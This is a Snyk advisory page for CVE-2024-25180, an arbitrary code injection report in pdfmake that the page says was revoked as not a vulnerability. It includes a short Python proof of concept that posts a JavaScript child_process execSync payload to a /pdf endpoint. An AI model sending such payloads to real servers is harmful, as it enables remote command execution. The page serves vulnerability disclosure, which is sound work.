Arbitrary Code Injection The advisory has been revoked - it doesn't affect any version of package org.webjars.bower:pdfmake  (opens in a new tab)


Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.05% (18th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Arbitrary Code Injection vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JAVA-ORGWEBJARSBOWER-6368540
  • published3 Mar 2024
  • disclosed29 Feb 2024
  • creditJoão Victor

Introduced: 29 Feb 2024

CVE-2024-25180  (opens in a new tab)
CWE-94  (opens in a new tab)

How to fix?

There is no fixed version for org.webjars.bower:pdfmake.

Amendment

This was deemed not a vulnerability.

Overview

org.webjars.bower:pdfmake is a Client/server side PDF printing in pure JavaScript

Affected versions of this package are vulnerable to Arbitrary Code Injection via a crafted POST request to the /pdf path. An attacker can execute arbitrary code on the system by sending a specially crafted request.

PoC

import requests

data = {
    "content": "this.process.mainModule.require('child_process').execSync('<COMMAND>').toString(); const dd = 2"
}

resp = requests.post("http://ip:port/pdf", data=data)
print(resp.text)

References